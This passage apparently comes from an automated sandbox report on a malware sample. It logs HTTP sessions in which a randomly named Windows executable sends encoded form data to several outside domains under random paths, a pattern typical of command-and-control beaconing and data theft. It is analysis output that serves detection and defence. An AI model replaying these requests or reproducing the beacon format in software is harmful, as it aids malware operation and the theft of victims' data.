52 79 52 4a 73 6f 4e 44 38 72 32 71 56 4d 34 71 6d 56 50 2b 34 7a 6d 31 4f 6b 78 2f 47 6c 62 77 49 72 61 55 65 79 48 61 35 32 59 61 72 63 63 33 66 7a 31 2b 67 6d 39 52 66 6f 59 2b 77 78 4e 31 2f 68 38 58 5a 63 76 48 72 67 35 43 4f 55 58 42 2f 55 35 49 65 67 75 53 6c 67 7a 43 39 44 50 52 73 47 57 5a 4c 51 37 67 4c 46 46 34 58 31 61 74 46 30 43 4c 2f 4b 77 77 72 4c 48 4a 34 61 76 72 7a 4e 56 4d 32 69 6e 32 46 35 6a 53 30 39 69 4e 59 6a 70 77 3d 3d Data Ascii: OdjTHtuX=q7B8n2BUJ3HP3mJhG4wNta5V1ClvuAg9Hy9IYl5d8aVtnAanS4MGCUX0vNotQIZ4ZsIxxher230q7DRyRJsoND8r2qVM4qmVP+4zm1Okx/GlbwIraUeyHa52Yarcc3fz1+gm9RfoY+wxN1/h8XZcvHrg5COUXB/U5IeguSlgzC9DPRsGWZLQ7gLFF4X1atF0CL/KwwrLHJ4avrzNVM2in2F5jS09iNYjpw==
Jul 3, 2024 17:58:46.255147934 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 03 Jul 2024 16:00:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 07 Nov 2023 07:43:14 GMT ETag: W/"afe-6098b1f8c138d" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b [TRUNCATED] Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9)
Jul 3, 2024 17:58:46.255343914 CEST	353	IN	Data Raw: 2c aa 4b e9 01 51 38 13 97 78 61 f4 ea 1a d4 25 39 73 7b db 9a 8c c1 a2 51 b4 e3 6f 2f 7c 83 6d 75 0d 31 8a f2 0b 07 ef 2e 9d 43 d4 2d 99 72 8a e1 5b 2c cf 6a b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e Data Ascii: ,KQ8xa%9s{Qo/\|mu1.C-r[,j-%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49764	162.43.101.114	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:48.033787012 CEST	1636	OUT	POST /rxdf/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.tedjp-x.com Origin: http://www.tedjp-x.com Referer: http://www.tedjp-x.com/rxdf/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 71 37 42 38 6e 32 42 55 4a 33 48 50 33 6d 4a 68 47 34 77 4e 74 61 35 56 31 43 6c 76 75 41 67 39 48 79 39 49 59 6c 35 64 38 62 42 74 6e 7a 53 6e 54 66 59 47 44 55 58 30 78 64 6f 77 51 49 5a 31 5a 73 51 31 78 68 54 51 32 31 4d 71 71 51 5a 79 47 4e 34 6f 45 44 38 72 35 4b 56 4e 38 71 6d 41 50 2b 4a 37 6d 30 79 6b 78 2f 47 6c 62 79 67 72 64 47 32 79 55 4b 35 31 49 4b 72 59 57 58 66 58 31 2b 5a 65 39 53 7a 34 66 4f 51 78 4d 56 50 68 36 68 6c 63 74 6e 72 75 2b 43 4f 4d 58 42 7a 58 35 4c 36 6b 75 53 67 39 7a 43 5a 44 4d 32 56 4f 46 74 36 4c 6b 54 66 46 63 61 7a 73 58 6f 68 74 50 72 72 55 77 69 36 2b 48 49 68 77 6a 72 2f 70 51 2f 32 67 77 58 41 52 38 6e 64 76 30 35 5a 55 70 37 53 75 56 50 45 31 4f 36 76 4d 58 71 34 6b 35 78 74 4c 32 2f 57 6e 73 52 36 30 4e 42 37 33 4d 4e 33 4d 41 31 31 58 67 78 7a 6c 41 71 55 39 68 5a 50 6e 66 4e 75 65 61 58 4e 77 77 38 79 51 66 6c 70 43 42 6c 73 6c 69 48 73 72 74 61 77 51 68 43 71 37 4e 62 44 71 45 72 68 4f 6c 4d 61 57 70 62 31 76 32 59 66 30 63 [TRUNCATED] Data Ascii: OdjTHtuX=q7B8n2BUJ3HP3mJhG4wNta5V1ClvuAg9Hy9IYl5d8bBtnzSnTfYGDUX0xdowQIZ1ZsQ1xhTQ21MqqQZyGN4oED8r5KVN8qmAP+J7m0ykx/GlbygrdG2yUK51IKrYWXfX1+Ze9Sz4fOQxMVPh6hlctnru+COMXBzX5L6kuSg9zCZDM2VOFt6LkTfFcazsXohtPrrUwi6+HIhwjr/pQ/2gwXAR8ndv05ZUp7SuVPE1O6vMXq4k5xtL2/WnsR60NB73MN3MA11XgxzlAqU9hZPnfNueaXNww8yQflpCBlsliHsrtawQhCq7NbDqErhOlMaWpb1v2Yf0cZQbuwpym4skhR8TdE4dgl6r6kcbdLfhHhTlWBeAfSjjclL2qQELfgIj4RIF898Xkd+Yv3n2+CO8CheLao5+c8TGXoDWE9eNFZD9nkQ/rgAYuFKBVbDiGC3uq5CgtAPu+QNSLPzWy2F6tidGWefP00H1KBrQtqzXqDcTSQYspKdIHL+/yS07eWXBXXY9BISTuKCIEJ5qWu3nDJQv1wPchOul2dgTc08kheMt7RCxjpzQjfgbIINFKpdzpJ4gLHyPthS1O84vxgJ39ienItpHk0Rf/E02T6Wtc4dBPKNDuviuHaHUHGQbe9QGsFfqbkTL+qOCANCLgE0hr/ikUidshK2XSpSdSs8pLldV/xkMZ9wmhyYRnr5oM1UYrWHNESmqMe3Ks4lCBH9eGLyPuDZ1i1/n+OvfjPJ+i3wY4eZBuEiQ9BCXrhj91bjkABbYYZbA6OdBdwBQ70ao3fW+oMNO6l7cLhd+xVSTExjj3wI3v+tpVAGff+EoSBkKG+z5qjLTmxE1rtFteeln5Im57SnNKFNhS8rn8VJs3Zpm21Qqon/8yoNCJ0iLsQ4y+xNf+xWyg2kIqr13aNWvto7HO4/X1Q2YO+HqlTIHMuNQYagViKHTjBwOnjsYX4ABeD+16I0oZZAMGS6Yeb/SWgEUhrH5A9mepyYbgcD2eCp [TRUNCATED]
Jul 3, 2024 17:58:48.802875996 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 03 Jul 2024 16:00:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 07 Nov 2023 07:43:14 GMT ETag: W/"afe-6098b1f8c138d" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b [TRUNCATED] Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9)
Jul 3, 2024 17:58:48.802895069 CEST	353	IN	Data Raw: 2c aa 4b e9 01 51 38 13 97 78 61 f4 ea 1a d4 25 39 73 7b db 9a 8c c1 a2 51 b4 e3 6f 2f 7c 83 6d 75 0d 31 8a f2 0b 07 ef 2e 9d 43 d4 2d 99 72 8a e1 5b 2c cf 6a b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e Data Ascii: ,KQ8xa%9s{Qo/\|mu1.C-r[,j-%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49765	162.43.101.114	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:50.671372890 CEST	344	OUT	GET /rxdf/?OdjTHtuX=n5pckC1kDFTF1S5BKIsmiJ5ryDhRlCYaQVQlc2liktwXiyajKP48Wkncu6FoMqtxFtMv+2TSpEcAsDV+dI8BV0td651LvJeUOcJvnAipjtqBUQAoEW2kSo5oIr+iYWP+5LowsUg=&Y6vp=3PLd8j HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.tedjp-x.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:58:51.491303921 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 03 Jul 2024 16:00:31 GMT Content-Type: text/html Content-Length: 2814 Connection: close Vary: Accept-Encoding Last-Modified: Tue, 07 Nov 2023 07:43:14 GMT ETag: "afe-6098b1f8c138d" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"><head><meta charset="EUC-JP" /><title>404 File Not Found</title><meta name="copyright" content="Copyright XSERVER Inc."><meta name="robots" content="INDEX,FOLLOW" /><meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0"><style type="text/css">* { margin: 0; padding: 0;}img { border: 0;}ul { padding-left: 2em;}html { overflow-y: scroll; background: #3b79b7;}body { font-family: "", Meiryo, " ", "MS PGothic", " Pro W3", "Hiragino Kaku Gothic Pro", sans-serif; margin: 0; line-height: 1.4; font-size: 75%; text-align: center; color: white;}h1 { font-size: 24px; font-weight: bold;}h1 { font-weight: bold; line-height: 1; padding-bottom: 20px; font-family: Helvetica, sans-serif;}h2 { text-align: center; font-weight: bold; font-size: 27px;}p { text-align: center; font-size: 14px;
Jul 3, 2024 17:58:51.491368055 CEST	1236	IN	Data Raw: 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 2e 65 78 70 6c 61 69 6e 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 Data Ascii: margin: 0; padding: 0; color: white;}.explain { border-top: 1px solid #fff; border-bottom: 1px solid #fff; line-height: 1.5; margin: 30px auto; padding: 17px;}#cause { text-align: left;}#cause li {
Jul 3, 2024 17:58:51.491379976 CEST	582	IN	Data Raw: 64 69 76 20 69 64 3d 22 62 61 73 65 22 3e 0a 20 20 20 20 3c 68 31 3e 3c 73 70 61 6e 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 62 72 20 2f 3e 0a 20 20 20 20 20 20 20 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 68 32 3e Data Ascii: div id="base"> <h1><span>404</span><br /> File Not Found</h1> <h2></h2> <p class="explain"></p> <h3>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49766	45.113.122.18	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:56.913892984 CEST	617	OUT	POST /n8zi/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.3cubesinterior.in Origin: http://www.3cubesinterior.in Referer: http://www.3cubesinterior.in/n8zi/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 65 42 6c 57 30 4d 67 73 2f 48 31 2b 50 36 44 41 77 59 4e 32 58 64 6c 33 41 5a 58 50 53 35 4a 62 4c 2b 68 41 36 5a 47 75 59 57 58 56 71 4e 58 52 41 59 4b 44 36 42 39 51 70 45 7a 74 42 4e 51 67 47 2f 4e 7a 41 69 51 71 51 78 77 59 4b 77 42 52 70 39 45 33 77 6a 6b 6f 34 42 6e 46 52 57 49 66 6e 54 75 76 44 4f 38 59 38 79 32 5a 55 59 43 37 6e 68 59 46 5a 56 47 77 52 4c 51 71 47 64 37 4a 47 63 47 35 4f 76 49 58 42 7a 56 52 45 6a 49 32 59 71 38 35 63 74 6d 6a 73 77 73 4c 78 39 51 45 73 79 2b 5a 79 68 47 59 39 4f 59 77 4a 62 75 4f 62 72 38 36 48 53 4c 36 37 58 75 6d 31 4b 6f 47 2b 42 32 65 4b 49 73 47 6b 78 6f 34 Data Ascii: OdjTHtuX=eBlW0Mgs/H1+P6DAwYN2Xdl3AZXPS5JbL+hA6ZGuYWXVqNXRAYKD6B9QpEztBNQgG/NzAiQqQxwYKwBRp9E3wjko4BnFRWIfnTuvDO8Y8y2ZUYC7nhYFZVGwRLQqGd7JGcG5OvIXBzVREjI2Yq85ctmjswsLx9QEsy+ZyhGY9OYwJbuObr86HSL67Xum1KoG+B2eKIsGkxo4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49767	45.113.122.18	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:59.967823982 CEST	641	OUT	POST /n8zi/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.3cubesinterior.in Origin: http://www.3cubesinterior.in Referer: http://www.3cubesinterior.in/n8zi/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 65 42 6c 57 30 4d 67 73 2f 48 31 2b 50 61 54 41 79 37 6c 32 41 74 6c 6f 46 5a 58 50 62 5a 4a 66 4c 2b 74 41 36 59 7a 32 5a 6b 6a 56 71 73 6e 52 42 63 65 44 76 42 39 51 37 6b 7a 6b 50 74 51 2b 47 34 46 37 41 6a 73 71 51 78 4d 59 4b 30 46 52 70 4f 73 32 71 54 6c 4f 6a 52 6e 4c 56 57 49 66 6e 54 75 76 44 4f 6f 79 38 79 2b 5a 55 4c 4b 37 6e 46 45 4b 61 56 47 33 47 37 51 71 43 64 37 4e 47 63 48 57 4f 72 51 39 42 31 4a 52 45 6d 73 32 4a 62 38 36 46 39 6d 6c 6f 77 74 46 38 66 74 32 70 53 7a 38 36 51 75 34 6d 2f 63 32 4d 74 76 55 48 59 38 5a 56 43 72 34 37 56 32 55 31 71 6f 73 38 42 4f 65 59 66 67 68 72 46 4e 62 6c 43 65 5a 35 61 31 6f 32 41 65 77 57 2b 6c 48 4e 6b 46 65 50 41 3d 3d Data Ascii: OdjTHtuX=eBlW0Mgs/H1+PaTAy7l2AtloFZXPbZJfL+tA6Yz2ZkjVqsnRBceDvB9Q7kzkPtQ+G4F7AjsqQxMYK0FRpOs2qTlOjRnLVWIfnTuvDOoy8y+ZULK7nFEKaVG3G7QqCd7NGcHWOrQ9B1JREms2Jb86F9mlowtF8ft2pSz86Qu4m/c2MtvUHY8ZVCr47V2U1qos8BOeYfghrFNblCeZ5a1o2AewW+lHNkFePA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49769	45.113.122.18	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:59:02.519221067 CEST	1654	OUT	POST /n8zi/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.3cubesinterior.in Origin: http://www.3cubesinterior.in Referer: http://www.3cubesinterior.in/n8zi/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 65 42 6c 57 30 4d 67 73 2f 48 31 2b 50 61 54 41 79 37 6c 32 41 74 6c 6f 46 5a 58 50 62 5a 4a 66 4c 2b 74 41 36 59 7a 32 5a 6b 62 56 71 2b 2f 52 41 2b 32 44 70 78 39 51 67 6b 7a 68 50 74 52 37 47 35 68 2f 41 6a 68 52 51 33 49 59 49 58 4e 52 72 2f 73 32 2f 44 6c 4f 71 78 6e 4b 52 57 4a 4c 6e 54 2b 56 44 4f 34 79 38 79 2b 5a 55 4b 61 37 33 42 59 4b 57 31 47 77 52 4c 51 32 47 64 37 31 47 63 75 68 4f 72 64 49 42 44 35 52 45 47 38 32 4c 4a 45 36 4e 39 6d 64 6b 51 73 59 38 66 68 74 70 53 76 57 36 51 71 43 6d 39 41 32 50 59 66 43 59 62 4d 5a 4d 44 7a 66 6d 69 4f 57 78 4e 6f 72 2b 6a 2b 42 63 4f 45 37 6b 52 46 51 6f 56 36 2f 76 4d 67 63 37 69 36 48 57 2b 46 58 48 45 45 4b 59 67 37 59 71 66 78 39 37 68 5a 39 68 50 50 75 78 4c 52 63 57 72 6a 73 4c 41 36 67 7a 77 76 66 2f 71 4f 32 49 6d 38 42 43 30 6f 4e 46 59 70 38 52 54 2f 4d 39 71 53 6a 7a 31 63 79 4c 2b 41 4d 48 59 74 30 69 58 64 6d 41 4e 4c 74 73 2f 33 67 48 30 4b 75 44 51 37 6d 65 71 36 43 73 70 57 45 36 4b 70 45 6b 41 68 62 52 [TRUNCATED] Data Ascii: OdjTHtuX=eBlW0Mgs/H1+PaTAy7l2AtloFZXPbZJfL+tA6Yz2ZkbVq+/RA+2Dpx9QgkzhPtR7G5h/AjhRQ3IYIXNRr/s2/DlOqxnKRWJLnT+VDO4y8y+ZUKa73BYKW1GwRLQ2Gd71GcuhOrdIBD5REG82LJE6N9mdkQsY8fhtpSvW6QqCm9A2PYfCYbMZMDzfmiOWxNor+j+BcOE7kRFQoV6/vMgc7i6HW+FXHEEKYg7Yqfx97hZ9hPPuxLRcWrjsLA6gzwvf/qO2Im8BC0oNFYp8RT/M9qSjz1cyL+AMHYt0iXdmANLts/3gH0KuDQ7meq6CspWE6KpEkAhbRcRVoydSne4j655jI6E4KnpKftrdfICOOBRdgfocJX0lnBtZDiQZLdE126G0yXxs5oEpRrGqf9eYB/3N0ey1R8NJSJBo/bX7AeMbHaP9gPCRu6s1K7j81BgMnsfDvpzU74+Vh3UAQ87/8FDV417PV0a1RB5Rb2u8mUy8ZrWM5NpXeeoetOiDER0gFl/HkjJBtn+nYjNOsr3xAhj/sgbi3Rdvcis2c73TelK1Jmn2ew5w2mVHfgXJgQ1Mya0lLH1ziDwZqZI5LIaUShDmJjyVYW/AtvF6Mcwzo2mpocVuNt0IawdySX2RJjnsT0qkE+cI1MzxI4g1pcj+XfMhqYoHuJ14Uhl3rkHC0UGR7UiglutlifohSNDoWFV0Wke128hlufrFdqXBRcx/YstpowIMGC81hxCdjQEZDuc/dyOOgFwue45YqzG41Jr3yaTHfnPNpvxayYlQ74HoRpQVQN49EpFh6gbFWJ5sOSC3nuVYpHCMStjAOMK4qzSCbzw87WLFz2Q+5WWHnby7wmJuAClEWLImKZ3AL77bxPxDrUdCVsPPV3QeOz2K3HhfadM7kvqXRXKFoq9AmIuT/uiloQrdV4sovmsS+xx0bXlLn1lPyTPwtGb/KEK7RdbqgcrHZ6g9rAjyO0k4d4/LjNMWLbiGFEvEVO32iK2/pBJ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49770	45.113.122.18	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:59:05.078006029 CEST	350	OUT	GET /n8zi/?Y6vp=3PLd8j&OdjTHtuX=TDN237cw9XQsPbq3g6hYHsVRIrTNU69YOKlE8puzfHXbytTXePjBpDkk8R6CbNZjNtV+M1xTH1M7WEFVhsxtrVg+jjfEC0sBsxKcDNAG8QmzJp6ywkUHIkWAXYoQO53dC+2pPrw= HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.3cubesinterior.in User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:59:06.416336060 CEST	514	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 15:59:06 GMT Server: nginx/1.23.4 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://3cubesinterior.in/n8zi/?Y6vp=3PLd8j&OdjTHtuX=TDN237cw9XQsPbq3g6hYHsVRIrTNU69YOKlE8puzfHXbytTXePjBpDkk8R6CbNZjNtV+M1xTH1M7WEFVhsxtrVg+jjfEC0sBsxKcDNAG8QmzJp6ywkUHIkWAXYoQO53dC+2pPrw= X-Server-Cache: true X-Proxy-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49771	142.250.74.211	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:59:16.653633118 CEST	626	OUT	POST /s0j2/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.artvectorcraft.store Origin: http://www.artvectorcraft.store Referer: http://www.artvectorcraft.store/s0j2/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 4d 65 70 64 30 6b 6e 46 5a 42 43 4d 34 43 65 53 30 67 67 32 4b 59 73 75 69 54 33 32 76 46 7a 4f 72 66 69 69 71 53 74 55 56 33 35 57 74 6f 59 75 4a 67 30 32 37 4d 48 4a 71 5a 44 41 63 62 7a 67 36 54 74 74 73 6d 53 67 6e 63 53 33 76 78 6c 41 33 56 71 37 6d 77 33 7a 31 4e 56 36 77 6f 38 41 2f 63 6c 35 55 51 51 58 61 79 74 6d 6f 48 4f 74 37 41 66 51 2b 42 31 38 43 6e 39 63 71 2f 4e 4b 69 59 37 62 72 56 73 37 30 58 6e 56 78 49 36 4b 37 57 30 57 4a 71 45 35 4a 53 46 76 6a 49 61 6f 51 4e 67 52 66 38 6c 32 74 69 63 54 5a 67 70 4e 62 63 54 48 58 2b 72 6f 73 55 34 31 46 63 66 6b 69 6e 64 67 4a 77 59 4a 52 4a 31 57 Data Ascii: 